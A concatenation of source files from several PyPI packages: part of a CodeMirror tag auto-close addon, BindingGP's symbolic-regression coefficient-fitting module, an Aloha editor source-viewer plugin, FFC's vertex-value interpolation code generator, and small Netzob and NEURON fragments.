if (emptyTags && indexOf(emptyTags, tagName) > -1) {
replacements[i] = { text: "/>", newPos: CodeMirror.Pos(pos.line, pos.ch + 2) };
continue;
}
var indent = indentTags && indexOf(indentTags, lowerTagName) > -1;
replacements[i] = {indent: indent,
text: ">" + (indent ? "\n\n" : "") + "</" + tagName + ">",
newPos: indent ? CodeMirror.Pos(pos.line + 1, 0) : CodeMirror.Pos(pos.line, pos.ch + 1)};
}
var dontIndentOnAutoClose = (typeof opt == "object" && opt.dontIndentOnAutoClose);
for (var i = ranges.length - 1; i >= 0; i--) {
var info = replacements[i];
cm.replaceRange(info.text, ranges[i].head, ranges[i].anchor, "+insert");
var sel = cm.listSelections().slice(0);
sel[i] = {head: info.newPos, anchor: info.newPos};
cm.setSelections(sel);
if (!dontIndentOnAutoClose && info.indent) {
cm.indentLine(info.newPos.line, null, true);
cm.indentLine(info.newPos.line + 1, null, true);
}
}
}
function autoCloseCurrent(cm, typingSlash) {
var ranges = cm.listSelections(), replacements = [];
var head = typingSlash ? "/" : "</";
var opt = cm.getOption("autoCloseTags");
var dontIndentOnAutoClose = (typeof opt == "object" && opt.dontIndentOnSlash);
for (var i = 0; i < ranges.length; i++) {
if (!ranges[i].empty()) return CodeMirror.Pass;
var pos = ranges[i].head, tok = cm.getTokenAt(pos);
var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state = inner.state;
if (typingSlash && (tok.type == "string" || tok.string.charAt(0) != "<" ||
tok.start != pos.ch - 1))
return CodeMirror.Pass;
// Kludge to get around the fact that we are not in XML mode
// when completing in JS/CSS snippet in htmlmixed mode. Does not
// work for other XML embedded languages (there is no general
// way to go from a mixed mode to its current XML state).
var replacement, mixed = inner.mode.name != "xml" && cm.getMode().name == "htmlmixed"
if (mixed && inner.mode.name == "javascript") {
replacement = head + "script";
} else if (mixed && inner.mode.name == "css") {
replacement = head + "style";
} else {
var context = inner.mode.xmlCurrentContext && inner.mode.xmlCurrentContext(state)
var top = context.length ? context[context.length - 1] : ""
if (!context || (context.length && closingTagExists(cm, context, top, pos)))
return CodeMirror.Pass;
replacement = head + top
}
if (cm.getLine(pos.line).charAt(tok.end) != ">") replacement += ">";
replacements[i] = replacement;
}
cm.replaceSelections(replacements);
ranges = cm.listSelections();
if (!dontIndentOnAutoClose) {
for (var i = 0; i < ranges.length; i++)
if (i == ranges.length - 1 || ranges[i].head.line < ranges[i + 1].head.line)
cm.indentLine(ranges[i].head.line);
}
}
function autoCloseSlash(cm) {
if (cm.getOption("disableInput")) return CodeMirror.Pass;
return autoCloseCurrent(cm, true);
}
CodeMirror.commands.closeTag = function(cm) { return autoCloseCurrent(cm); };
function indexOf(collection, elt) {
if (collection.indexOf) return collection.indexOf(elt);
for (var i = 0, e = collection.length; i < e; ++i)
if (collection[i] == elt) return i;
return -1;
}
// If xml-fold is loaded, we use its functionality to try and verify
// whether a given tag is actually unclosed.
function closingTagExists(cm, context, tagName, pos, newTag) {
if (!CodeMirror.scanForClosingTag) return false;
var end = Math.min(cm.lastLine() + 1, pos.line + 500);
var nextClose = CodeMirror.scanForClosingTag(cm, pos, null, end);
if (!nextClose || nextClose.tag != tagName) return false;
// If the immediate wrapping context contains onCx instances of
// the same tag, a closing tag only exists if there are at least
// that many closing tags of that type following.
var onCx = newTag ? 1 : 0
for (var i = context.length - 1; i >= 0; i--) {
if (context[i] == tagName) ++onCx
else break
}
pos = nextClose.to;
for (var i = 1; i < onCx; i++) {
var next = CodeMirror.scanForClosingTag(cm, pos, null, end);
if (!next || next.tag != tagName) return false;
pos = next.to;
}
return true;
}
}); | PypiClean |
/BindingGP-0.0.36.tar.gz/BindingGP-0.0.36/bgp/postprocess.py |
# @Time : 2020/10/19 13:32
# @Email : [email protected]
# @Software: PyCharm
# @License: BSD 3-Clause
import copy
import warnings
from collections.abc import Callable
from typing import Sequence
import numpy as np
import pandas as pd
import sympy
from scipy.optimize import least_squares
from sklearn import metrics
from sympy import Expr
from mgetool.tool import parallelize
warnings.filterwarnings("ignore")
score_collection = {'explained_variance': metrics.explained_variance_score,
'max_error': metrics.max_error,
'neg_mean_absolute_error': metrics.mean_absolute_error,
'neg_mean_squared_error': metrics.mean_squared_error,
'neg_root_mean_squared_error': metrics.mean_squared_error,
'r2': metrics.r2_score,
'accuracy': metrics.accuracy_score,
'precision': metrics.precision_score,
'f1': metrics.f1_score,
'balanced_accuracy': metrics.balanced_accuracy_score,
'average_precision': metrics.average_precision_score, }
def top_n(loop, n=10, gen=-1, key="value", ascending=False):
"""return the top result of loop.
PendingDeprecation.
please use loop.top_n() directly.
"""
data = loop.data_all
data = pd.DataFrame(data)
if gen == -1:
gen = max(data["gen"])
data = data[data["gen"] == gen]
data = data.drop_duplicates(['expr'], keep="first")
if key is not None:
data[key] = data[key].str.replace("(", "")
data[key] = data[key].str.replace(")", "")
data[key] = data[key].str.replace(",", "")
try:
data[key] = data[key].astype(float)
except ValueError:
raise TypeError("check this key column can be translated into float")
data = data.sort_values(by='value', ascending=ascending).iloc[:n, :]
return data
def cla(pre_y, cl=True):
pre_y = 1.0 / (1.0 + np.exp(-pre_y))
if cl:
pre_y[np.where(pre_y >= 0.5)] = 1
pre_y[np.where(pre_y < 0.5)] = 0
return pre_y
def format_input(expr01, x, y, init_c=None, terminals=None, c_terminals=None, np_maps=None, x_mark="x",
c_mark="c"):
"""
Check and format_input for add_coef_fitting.
Parameters
----------
expr01:sympy.Expr
expr for fitting.
x: list of np.ndarray or np.ndarray
real data with: [x1,x2,x3,...,x_n_feature] or x with shape (n_sample,n_feature).
y: np.ndarray with shape (n_sample,)
real data of target.
init_c: list of float or float.
default 1.
terminals: list of sympy.Symbol
placeholder for xi, with the same features in expr01.
c_terminals:list of sympy.Symbol
placeholder for ci, with the same coefficients/constants in expr01.
np_maps: dict,default is None
for self-definition.
1. make your function with sympy.Function and arrange in in expr01.
>>> x1, x2, x3, c1,c2,c3,c4 = sympy.symbols("x1,x2,x3,c1,c2,c3,c4")
>>> Seg = sympy.Function("Seg")
>>> expr01 = Seg(x1*x2,c1)
2. write the numpy calculation method for this function.
>>> def np_seg(x,c):
>>> res = -x
>>> res[res>-c]=0
>>> return res
3. pass the np_maps parameters.
>>> np_maps = {"Seg":np_seg}
In total, when parse the expr01, find the numpy function in sequence by:
(np_maps -> numpy's function -> system -> Error)
x_mark:str
mark for x
c_mark:str
mark for c
Returns
-------
format_parameters:tuple
(expr01, x, y, init_c, terminals, c_terminals, np_maps)
"""
assert isinstance(expr01, Expr)
assert isinstance(x, (np.ndarray, list))
if isinstance(x, list):
assert all([isinstance(i, np.ndarray) and i.ndim == 1 for i in x])
else:
x = [i for i in x.T]
assert isinstance(y, np.ndarray) and y.ndim == 1
if terminals is None:
terminals = [i for i in list(expr01.free_symbols) if x_mark in i.name]
terminals.sort(key=lambda x: x.name)
else:
assert set(terminals) & set(expr01.free_symbols) == set(terminals)
assert len(terminals) == len(x)
if c_terminals is None:
c_terminals = [i for i in list(expr01.free_symbols) if c_mark in i.name]
c_terminals.sort(key=lambda x: x.name)
else:
assert set(c_terminals) & set(expr01.free_symbols) == set(c_terminals)
if init_c is None:
init_c = [1.0] * len(c_terminals)
elif isinstance(init_c, (int, float)):
init_c = [init_c] * len(c_terminals)
else:
assert len(init_c) == len(c_terminals)
if isinstance(np_maps, dict):
for k, v in np_maps.items():
assert isinstance(v, Callable)
if np_maps is None:
np_maps = {}
return expr01, x, y, init_c, terminals, c_terminals, np_maps
def acf(expr01, x, y, init_c=None, terminals=None, c_terminals=None, np_maps=None,
classification=False, built_format_input=False, ):
"""
Add coef fitting.
Try calculate predict y by sympy expression with coefficients.
if except error return expr itself.
Parameters
----------
expr01:sympy.Expr
expr for fitting.
x: list of np.ndarray or np.ndarray
real data with: [x1,x2,x3,...,x_n_feature].
y: np.ndarray with shape (n_sample,)
real data of target.
init_c: list of float or float,None
default 1.
terminals: List of sympy.Symbol,None
placeholder for xi, with the same features in expr01.
c_terminals:List of sympy.Symbol,None
placeholder for ci, with the same coefficients/constants in expr01.
np_maps: dict,default is None
for self-definition.
1. make your function with sympy.Function and arrange in in expr01.
>>> x1, x2, x3, c1,c2,c3,c4 = sympy.symbols("x1,x2,x3,c1,c2,c3,c4")
>>> Seg = sympy.Function("Seg")
>>> expr01 = Seg(x1*x2)
2. write the numpy calculation method for this function.
>>> def np_seg(x):
>>> res = x
>>> res[res>1]=-res[res>1]
>>> return res
3. pass the np_maps parameters.
>>> np_maps = {"Seg":np_seg}
In total, when parse the expr01, find the numpy function in sequence by:
(np_maps -> numpy's function -> system -> Error)
classification:bool
classfication or not, default False.
built_format_input:bool
use format_input function to check input parameters.
Just used for temporary test or single case, due to format_input is repetitive.
Returns
-------
pre_y:
np.array or None
expr01: Expr
New expr.
"""
if built_format_input:
expr01, x, y, init_c, terminals, c_terminals, np_maps = format_input(expr01, x, y, init_c, terminals,
c_terminals, np_maps, )
if np_maps is None:
np_maps = {}
expr00 = copy.copy(expr01)
try:
func0 = sympy.utilities.lambdify(terminals + c_terminals, expr01, modules=[np_maps, "numpy"])
def func(x_, p):
""""""
return func0(*x_, *p)
def res(p, x_, y_):
""""""
return y_ - func(x_, p)
def res2(p, x_, y_):
""""""
pre_y = func(x_, p)
ress = y_ - cla(pre_y, cl=False)
return ress
if not classification:
result = least_squares(res, x0=init_c, args=(x, y),
xtol=1e-4, ftol=1e-5, gtol=1e-5,
# long
jac='3-point', loss='linear')
else:
result = least_squares(res2, x0=init_c, args=(x, y),
xtol=1e-4, ftol=1e-5, gtol=1e-5,
# long
jac='3-point', loss='linear')
cof = np.round(result.x, 3)
pre_y = func0(*x, *cof)
if classification:
pre_y = cla(pre_y, cl=True)
for ai, choi in zip(c_terminals, cof):
expr01 = expr01.xreplace({ai: choi})
if isinstance(pre_y, float):
pre_y = None
elif all(np.isfinite(pre_y)):
pass
else:
pre_y = None
except (ValueError, KeyError, NameError, TypeError, ZeroDivisionError, IndexError):
# except ImportError:
expr01 = expr00
pre_y = None
return pre_y, expr01
def acfng(expr01, x, y, init_c=None, terminals=None, c_terminals=None,
np_maps=None, classification=False,
no_gradient_coef=-1, no_gradient_coef_candidate=np.arange(-1, 1, 1), n_jobs=1,
scoring="r2"
):
"""
Add coefficients with no gradient coefficient.
Try to calculate predict y by sympy expression with coefficients.
if except error return expr itself.
Parameters
----------
scoring:str
score in sklearn.metrics
n_jobs: int
parallize number
no_gradient_coef: int,sympy.Symbol
coefficient in no gradient function, default the last one. (just accept one)
Examples:
no_gradient_coef=sympy.Symbol("c2")
no_gradient_coef=0
no_gradient_coef_candidate:
range of the special coef.
expr01:sympy.Expr
expr for fitting.
x: list of np.ndarray or np.ndarray
real data with: [x1,x2,x3,...,x_n_feature].
y: np.ndarray with shape (n_sample,)
real data of target.
init_c: list of float or float,None
default 1.
terminals: List of sympy.Symbol,None
placeholder for xi, with the same features in expr01.
c_terminals:List of sympy.Symbol,None
placeholder for ci, with the same coefficients/constants in expr01.
np_maps: dict,default is None
for self-definition.
1. make your function with sympy.Function and arrange in in expr01.
>>> x1, x2, x3, c1,c2,c3,c4 = sympy.symbols("x1,x2,x3,c1,c2,c3,c4")
>>> Seg = sympy.Function("Seg")
>>> expr01 = Seg(x1*x2)
2. write the numpy calculation method for this function.
>>> def np_seg(x):
>>> res = x
>>> res[res>1]=-res[res>1]
>>> return res
3. pass the np_maps parameters.
>>> np_maps = {"Seg":np_seg}
In total, when parse the expr01, find the numpy function in sequence by:
(np_maps -> numpy's function -> system -> Error)
classification:bool
classfication or not, default False.
Returns
-------
pre_y:
np.array or None
expr01: Expr
New expr.
"""
expr01, x, y, init_c, terminals, c_terminals, np_maps = format_input(expr01, x, y, init_c,
terminals,
c_terminals, np_maps)
scorings = score_collection[scoring]
if isinstance(no_gradient_coef, int):
assert isinstance(c_terminals, Sequence)
no_gradient_coef = c_terminals[no_gradient_coef]
exprs = [expr01.xreplace({no_gradient_coef: i}) for i in no_gradient_coef_candidate]
def func(expr):
pre_y, expr01 = acf(expr, x, y, init_c, terminals, c_terminals, np_maps,
classification=classification,
built_format_input=False)
if pre_y is None:
score = np.nan
else:
score = scorings(y, pre_y)
return score
scores = parallelize(n_jobs, func=func, iterable=exprs)
maxp = False if "neg" in scoring else True
scores = np.array(scores)
scores_error = ~ np.isfinite(scores)
scores[scores_error] = -np.inf if maxp else np.inf
index = np.argmax(scores) if maxp else np.argmin(scores)
score = scores[index]
print(score)
i = list(no_gradient_coef_candidate)[index]
return acf(exprs[i], x, y, init_c, terminals, c_terminals, np_maps,
classification=classification,
built_format_input=False)
def fit_coef(expr, x, y, init_c=None, terminals=None, c_terminals=None,
np_maps=None, classification=False, no_gradient_coef=None,
no_gradient_coef_candidate=np.arange(-1, 1, 1),
n_jobs=1, scoring="r2"):
"""
Add coefficients.
Try to calculate predict y by sympy expression with coefficients.
if except error return expr itself.
Examples
----------
>>> x1, x2, x3, c1, c2, c3 = sympy.symbols("x1,x2,x3,c1,c2,c3")
>>> x = np.array([[1, 2, 3, 4, 5, 4, 2, 3], [9, 8, 7, 6, 5, 5, 1, 8], [4, 5, 6, 5, 4, 7, 4, 9]]).T
>>> y = np.array([3, 3, 5, 6, 5, 2, 2, 3])
>>> expr = 0.047 * sympy.Mul(x3, c3) + c1 * x2 / (x1 - 1.47) + c2
>>> score = fit_coef(expr, x, y)
Parameters
----------
scoring:str
score in sklearn.metrics
n_jobs: int
parallize number
no_gradient_coef: int, sympy.Symbol
coefficient with no gradient function, default the None. (just accept one)
caaept index in c_terminals or element in c_terminals.
Examples:
no_gradient_coef = sympy.Symbol("c2") or
no_gradient_coef = 0
no_gradient_coef_candidate:
range of the no_gradient_coef.
expr:sympy.Expr
expr for fitting.
x: list of np.ndarray or np.ndarray
real data with: [x1,x2,x3,...,x_n_feature].
y: np.ndarray with shape (n_sample,)
real data of target.
init_c: list of float or float,None
default 1.
terminals: List of sympy.Symbol,None
placeholder for xi, with the same features in expr01.
c_terminals:List of sympy.Symbol,None
placeholder for ci, with the same coefficients/constants in expr01.
np_maps: dict,default is None
for self-definition.
1. make your function with sympy.Function and arrange in in expr01.
>>> x1, x2, x3, c1,c2,c3,c4 = sympy.symbols("x1,x2,x3,c1,c2,c3,c4")
>>> Seg = sympy.Function("Seg")
>>> expr01 = Seg(x1*x2)
2. write the numpy calculation method for this function.
>>> def np_seg(x):
... res = x
... res[res>1]=-res[res>1]
... return res
3. pass the np_maps parameters.
>>> np_maps = {"Seg":np_seg}
In total, when parse the expr01, find the numpy function in sequence by:
(np_maps -> numpy's function -> system -> Error)
classification:bool
classfication or not, default False.
Returns
-------
pre_y:
np.array or None
expr01: Expr
New expr.
"""
expr, x, y, init_c, terminals, c_terminals, np_maps = format_input(expr, x, y, init_c,
terminals,
c_terminals, np_maps)
if no_gradient_coef is None:
pre_y, expr01 = acf(expr, x, y, init_c, terminals, c_terminals, np_maps,
classification, built_format_input=False)
else:
pre_y, expr01 = acfng(expr, x, y, init_c, terminals,
c_terminals, np_maps,
classification, no_gradient_coef=no_gradient_coef,
no_gradient_coef_candidate=no_gradient_coef_candidate,
n_jobs=n_jobs, scoring=scoring)
scoring = score_collection[scoring]
if pre_y is None:
score = np.nan
else:
score = scoring(y, pre_y)
return score, expr01
def pprint(expr, fontsize=15, fig_l=8, fig_h=0.7):
if isinstance(expr, str):
expr = sympy.simplify(expr)
from sympy import latex
import matplotlib.pyplot as plt
st = latex(expr)
# fig,ax = plt.subplots()
plt.figure(figsize=(fig_l, fig_h))
ax = plt.axes()
plt.axis('off')
ax.spines["right"].set_visible(False)
ax.spines["bottom"].set_visible(False)
ax.spines["left"].set_visible(False)
ax.spines["top"].set_visible(False)
plt.text(0.0, fig_h/2, f"${st}$", fontsize=fontsize)
plt.show()
if __name__ == "__main__":
from sympy import Expr, latex
x1, x2, x3, c1, c2, c3 = sympy.symbols("x1,x2,x3,c1,c2,c3")
x = np.array([[1, 2, 3, 4, 5, 4, 2, 3], [9, 8, 7, 6, 5, 5, 1, 8], [4, 5, 6, 5, 4, 7, 4, 9]]).T
y = np.array([3, 3, 5, 6, 5, 2, 2, 3])
Seg = sympy.Function("Seg")
def np_seg(x, c):
res = -x
res[res > -c] = 0
return res
expr = 0.047 * Seg(x3, c3) + c1 * x2 / (x1 - 1.47) + c2
expr01, x, y, init_c, terminals, c_terminals, _ = format_input(expr, x, y)
np_maps = {"Seg": np_seg}
score = fit_coef(expr01, x, y, init_c, terminals, c_terminals,
np_maps=np_maps, no_gradient_coef=-1,
no_gradient_coef_candidate=np.arange(-1, 1, 1),
n_jobs=1, scoring="r2")
expr = 1e-4 * sympy.exp(x3) + c1 * x2 / (x1 - 1.47) + c2
pprint(expr) | PypiClean |
/Djaloha-0.4.2.tar.gz/Djaloha-0.4.2/djaloha/static/aloha.0.20.20/plugins/extra/sourceview/lib/sourceview-plugin.js | window.define([
'aloha',
'aloha/jquery',
'../../../../test/unit/testutils',
'css!sourceview/css/sourceview'
],
function ( Aloha, jQuery, TestUtils ) {
var viewArea;
/**
* Given a DOM node, gets that node's index position withing its immediate
* parent node.
*
* @param {DOMObject} node
* @return {number} An integer, index of node.
*/
function getNodeIndex( node ) {
if ( !node ) {
return -1;
}
var kids = node.parentNode.childNodes,
l = kids.length,
i = 0;
for ( ; i < l; ++i ) {
if ( kids[ i ] === node ) {
return i;
}
}
return -1;
}
/**
* Given a node, and a container node, ensures that node is a child node of
* that container, or at least the closest node to its original index.
*
* @param {HTMLElement} container The container node inwhich to determine
* the correct child node.
* @param {HTMLElement} node A child node of container.
* @return {HTMLElement} A node element that is guarenteed to be a child
* node of the given container node.
*/
function getCorrectCloneNode( container, node ) {
var correctNode;
if ( node.nodeType === 3 && container.childNodes.length ) {
var index = getNodeIndex( node );
if ( index >= container.childNodes.length ) {
correctNode = container.lastChild;
} else {
correctNode = container.childNodes[ index ];
}
} else {
correctNode = container;
}
return correctNode;
}
/**
* Renders the source of the given container element, along with its
* selection markers as text.
*
* @param {DOMElement} container
*/
function showSource( container ) {
var source =
Aloha.jQuery('<div>')
.text( container.html() )
.html()
.replace( /\t/g, ' ' )
.replace( /([\[\{])/,
'<span class="aloha-devtool-source-viewer-marker"\
style="background:#70a5e2; color:#fff">$1' )
.replace( /([\]\}])/, '$1</span>' )
.replace( /([\[\]\{\}])/g,
'<b style="background:#0c53a4; color:#fff;">$1</b>' );
viewArea.html( source );
var marker = viewArea.find( '.aloha-devtool-source-viewer-marker' );
if ( marker.length ) {
// Add rounding at the tip of the selection.
var radius = 3;
marker.css( 'border-radius', radius );
marker.find( '>b' ).first().css({
'border-top-left-radius' : radius,
'border-bottom-left-radius' : radius
});
marker.find( '>b' ).last().css({
'border-top-right-radius' : radius,
'border-bottom-right-radius' : radius
});
// Scroll the view to the start of the selection.
viewArea
.scrollTop( 0 )
.scrollTop( Math.max( 0, ( marker.offset().top -
viewArea.offset().top ) - 30 ) );
}
};
Aloha.Sidebar.right.addPanel({
id : 'aloha-devtool-source-viewer-panel',
title : '<span style="float:left; margin-left:20px;">Source Viewer</span>\
<span style="float:right; padding-right:10px;">\
<input type="checkbox"\
id="aloha-devtool-source-viewer-widen-ckbx"\
class="aloha-devtool-source-viewer-ckbx"\
style="vertical-align:middle;" />\
<label for="aloha-devtool-source-viewer-widen-ckbx"\
class="aloha-devtool-source-viewer-ckbx">\
Widen</label>\
<input type="checkbox"\
id="aloha-devtool-source-viewer-entire-ckbx"\
class="aloha-devtool-source-viewer-ckbx"\
style="vertical-align:middle;"\
checked="true"\
/>\
<label for="aloha-devtool-source-viewer-entire-ckbx"\
class="aloha-devtool-source-viewer-ckbx">\
Show all source</label>\
</span><span style="float:clear"></span>',
expanded : true,
activeOn : true,
content : '<div id="aloha-devtool-source-viewer-content"></div>',
onInit : function () {
var that = this,
showEntireEditableSource = true,
sidebar = this.sidebar,
originalWidth = sidebar.width;
viewArea = this.content.find( '#aloha-devtool-source-viewer-content' );
this.title.find( '.aloha-devtool-source-viewer-ckbx' )
.click(function ( ev ) {
ev.stopPropagation();
});
this.title.find( '#aloha-devtool-source-viewer-widen-ckbx' )
.change(function () {
sidebar.width = jQuery( this ).attr( 'checked' )
? 600
: originalWidth;
sidebar.container.width( sidebar.width )
.find( '.aloha-sidebar-panels' ).width( sidebar.width );
sidebar.open( 0 );
});
this.title.find( '#aloha-devtool-source-viewer-entire-ckbx' )
.change(function () {
showEntireEditableSource =
!!jQuery( this ).attr( 'checked' );
});
Aloha.bind( 'aloha-selection-changed', function ( event, range ) {
var sNode = range.startContainer;
var eNode = range.endContainer;
if ( !sNode || !eNode ) {
return;
}
var id = +( new Date() );
var sClass = 'aloha-selection-start-' + id;
var eClass = 'aloha-selection-end-' + id;
// Add marker classes onto the container nodes, or their
// parentNodes if the containers are textNodes.
jQuery( sNode.nodeType === 3
? sNode.parentNode : sNode )
.addClass( sClass );
jQuery( eNode.nodeType === 3
? eNode.parentNode : eNode )
.addClass( eClass );
// We determine which element's source to show. If either the
// startContainer or the endContainer is a text node, we will
// want to show more of the source around our selection so we
// will use the parent node of the commonAncestorContainer.
var common;
if ( showEntireEditableSource && Aloha.activeEditable &&
Aloha.activeEditable.obj ) {
common = Aloha.activeEditable.obj[0];
} else {
if ( ( sNode.nodeType === 3 ||
eNode.nodeType === 3 ) &&
!jQuery( range.commonAncestorContainer )
.is( '.aloha-editable' ) ) {
common = range.commonAncestorContainer.parentNode;
} else {
common = range.commonAncestorContainer;
}
}
if (!common) {
return;
}
var clonedContainer = jQuery( common.outerHTML );
var clonedStartContainer = clonedContainer.is( '.' + sClass )
? clonedContainer
: clonedContainer.find( '.' + sClass );
var clonedEndContainer = clonedContainer.is( '.' + eClass )
? clonedContainer
: clonedContainer.find( '.' + eClass );
// We may not find clonedStart- and clonedEnd- Containers if
// the selection range is outside of of the active editable
// (something that can happen when doing CTRL+A).
if ( clonedStartContainer.length === 0 &&
clonedEndContainer.length === 0 ) {
return;
}
// Now that we have identified all our containers, we can
// remove markers anywhere we have placed them.
jQuery( '.' + sClass ).removeClass( sClass );
jQuery( '.' + eClass ).removeClass( eClass );
clonedStartContainer.removeClass( sClass );
clonedEndContainer.removeClass( eClass );
var startNode = getCorrectCloneNode( clonedStartContainer[0], sNode );
var endNode = getCorrectCloneNode( clonedEndContainer[0], eNode );
var fakeRange = {
startContainer : startNode,
endContainer : endNode,
startOffset : range.startOffset,
endOffset : range.endOffset
};
try {
TestUtils.addBrackets( fakeRange );
} catch ( ex ) {
viewArea.html( '[' + ex + ']' );
return;
}
showSource( clonedContainer );
});
}
});
}); | PypiClean |
/FFC-2017.1.0.tar.gz/FFC-2017.1.0/ffc/interpolatevertexvalues.py | "Code generation for interpolate_vertex_values."
# Copyright (C) 2009 Marie E. Rognes
#
# This file is part of FFC.
#
# FFC is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# FFC is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with FFC. If not, see <http://www.gnu.org/licenses/>.
#
# Modified by Kristian B. Oelgaard 2010
# Modified by Lizao Li 2015, 2016
#
# Last changed: 2016-08-17
from six import string_types
from ffc.cpp import format, remove_unused
# Extract code manipulation formats
inner = format["inner product"]
component = format["component"]
assign = format["assign"]
multiply = format["multiply"]
# Extract formats for the Jacobians
J = format["J"]
Jinv = format["inv(J)"]
invdetJ = format["inverse"](format["det(J)"](None))
f_dof_values = format["argument dof values"]
f_vertex_values = format["argument vertex values"]
def interpolate_vertex_values(ir):
"Generate code for interpolate_vertex_values."
# Handle unsupported elements.
if isinstance(ir, string_types):
return format["exception"]("interpolate_vertex_values: %s" % ir)
# Add code for Jacobian if necessary
code = []
gdim = ir["geometric_dimension"]
tdim = ir["topological_dimension"]
if ir["needs_jacobian"]:
# Generate code for basic geometric quantities
code.append(format["compute_jacobian"](tdim, gdim))
code.append("")
code.append(format["compute_jacobian_inverse"](tdim, gdim))
if ir["needs_oriented"]:
code.append("")
code.append(format["orientation"](tdim, gdim))
# Compute total value dimension for (mixed) element
total_dim = ir["physical_value_size"]
# Generate code for each element
value_offset = 0
space_offset = 0
for data in ir["element_data"]:
# Add vertex interpolation for this element
code.append(format["comment"]("Evaluate function and change variables"))
code.append(_interpolate_vertex_values_element(data, gdim, tdim,
total_dim,
value_offset,
space_offset))
# Update offsets for value- and space dimension
value_offset += data["physical_value_size"]
space_offset += data["space_dim"]
# Remove unused variables. (Not tracking set of used variables in
# order to keep this code clean. Since generated code is of
# limited size, this should be ok.)
clean_code = remove_unused("\n".join(code))
return clean_code
def _interpolate_vertex_values_element(data, gdim, tdim, total_value_size,
value_offset=0, space_offset=0):
# Extract vertex values for all basis functions
vertex_values = data["basis_values"]
value_size = data["physical_value_size"]
space_dim = data["space_dim"]
mapping = data["mapping"]
# Map basis values according to element mapping. Assumes single
# mapping for each (non-mixed) element
change_of_variables = _change_variables(data["mapping"], gdim, tdim,
space_dim)
# Create code for each value dimension:
code = []
for k in range(value_size):
# Create code for each vertex x_j
for (j, values_at_vertex) in enumerate(vertex_values):
if value_size == 1:
values_at_vertex = [values_at_vertex]
# Map basis functions using appropriate mapping
components = change_of_variables(values_at_vertex, k)
# Contract coefficients and basis functions
dof_values = [component(f_dof_values, i + space_offset)
for i in range(space_dim)]
value = inner(dof_values, components)
# Assign value to correct vertex
index = j * total_value_size + (k + value_offset)
code.append(assign(component(f_vertex_values, index), value))
return "\n".join(code)
def _change_variables(mapping, gdim, tdim, space_dim):
"""
How to map a field G from the reference domain to a physical
domain: For the converse approach -- see evaluatedof.py
Let g be a field defined on the reference domain T_0 (of
dimension tdim) with reference coordinates X. Let T be a a
physical domain (of dimension gdim) with coordinates x. Assume
that F: T_0 -> T such that
x = F(X)
Let J be the Jacobian of F, i.e J = dx/dX and let K denote the
(pseudo)-inverse of the Jacobian K = J^{-1}. Note that J is gdim x
tdim, and conversely K is tdim x gdim. Then we (currently) have
the following four types of mappings:
'affine' mapping for G:
g(x) = G(X)
For vector fields G:
'contravariant piola' mapping for f:
g(x) = 1.0/det(J) J G(X) i.e g_i(x) = 1.0/det(J) J_ij G_j(X)
'covariant piola' mapping for f:
g(x) = K^T G(X) i.e g_i(x) = K^T_ij G_j(X) = K_ji G_j(X)
'double covariant piola' mapping for f:
g_il(x) = K_{ji} G_{jk} K_{kl}
'double contravariant piola' mapping for g:
g_il(x) = (det(J))^(-2) J_ij G_jk(X) J_lk
"""
if mapping is "affine":
change_of_variables = lambda G, i: G[i]
elif mapping == "contravariant piola":
change_of_variables = lambda G, i: [multiply([invdetJ, inner([J(i, j, gdim, tdim) for j in range(tdim)],
[G[j][index] for j in range(tdim)])])
for index in range(space_dim)]
elif mapping == "covariant piola":
change_of_variables = lambda G, i: [inner([Jinv(j, i, tdim, gdim) for j in range(tdim)],
[G[j][index] for j in range(tdim)])
for index in range(space_dim)]
elif mapping == "double covariant piola":
change_of_variables = lambda G, i: [
inner([inner([Jinv(j, i // tdim, tdim, gdim) for j in range(tdim)],
[G[j][k][index] for j in range(tdim)])
for k in range(tdim)],
[Jinv(k, i % tdim, tdim, gdim) for k in range(tdim)])
for index in range(space_dim)]
elif mapping == "double contravariant piola":
change_of_variables = lambda G, i: [
multiply([invdetJ, invdetJ, inner(
[inner([J(i // tdim, j, tdim, gdim) for j in range(tdim)],
[G[j][k][index] for j in range(tdim)])
for k in range(tdim)],
[J(i % tdim, k, tdim, gdim) for k in range(tdim)])])
for index in range(space_dim)]
else:
raise Exception("No such mapping: %s accepted" % mapping)
return change_of_variables | PypiClean |
/Netzob-2.0.0.tar.gz/Netzob-2.0.0/src/netzob/Common/Utils/UndoRedo/AbstractMemento.py |
#+---------------------------------------------------------------------------+
#| 01001110 01100101 01110100 01111010 01101111 01100010 |
#| |
#| Netzob : Inferring communication protocols |
#+---------------------------------------------------------------------------+
#| Copyright (C) 2011-2017 Georges Bossert and Frédéric Guihéry |
#| This program is free software: you can redistribute it and/or modify |
#| it under the terms of the GNU General Public License as published by |
#| the Free Software Foundation, either version 3 of the License, or |
#| (at your option) any later version. |
#| |
#| This program is distributed in the hope that it will be useful, |
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
#| GNU General Public License for more details. |
#| |
#| You should have received a copy of the GNU General Public License |
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
#+---------------------------------------------------------------------------+
#| @url : http://www.netzob.org |
#| @contact : [email protected] |
#| @sponsors : Amossys, http://www.amossys.fr |
#| Supélec, http://www.rennes.supelec.fr/ren/rd/cidre/ |
#+---------------------------------------------------------------------------+
#+---------------------------------------------------------------------------+
#| File contributors : |
#| - Georges Bossert <georges.bossert (a) supelec.fr> |
#| - Frédéric Guihéry <frederic.guihery (a) amossys.fr> |
#+---------------------------------------------------------------------------+
#+---------------------------------------------------------------------------+
#| Standard library imports |
#+---------------------------------------------------------------------------+
#+---------------------------------------------------------------------------+
#| Related third party imports |
#+---------------------------------------------------------------------------+
#+---------------------------------------------------------------------------+
#| Local application imports |
#+---------------------------------------------------------------------------+
class AbstractMemento(object):
"""This class represents a Memento meaning the serialization of an object state."""
def __init__(self, originator):
self.__originator = originator
@property
def originator(self):
"""The instance from which the memento has been computed"""
return self.originator
@originator.setter # type: ignore
def originator(self, originator):
self.__originator = originator | PypiClean |
/NEURON-9.0a0-cp311-cp311-macosx_10_15_x86_64.whl/neuron/coreneuron.py | import sys
class CoreNEURONContextHelper(object):
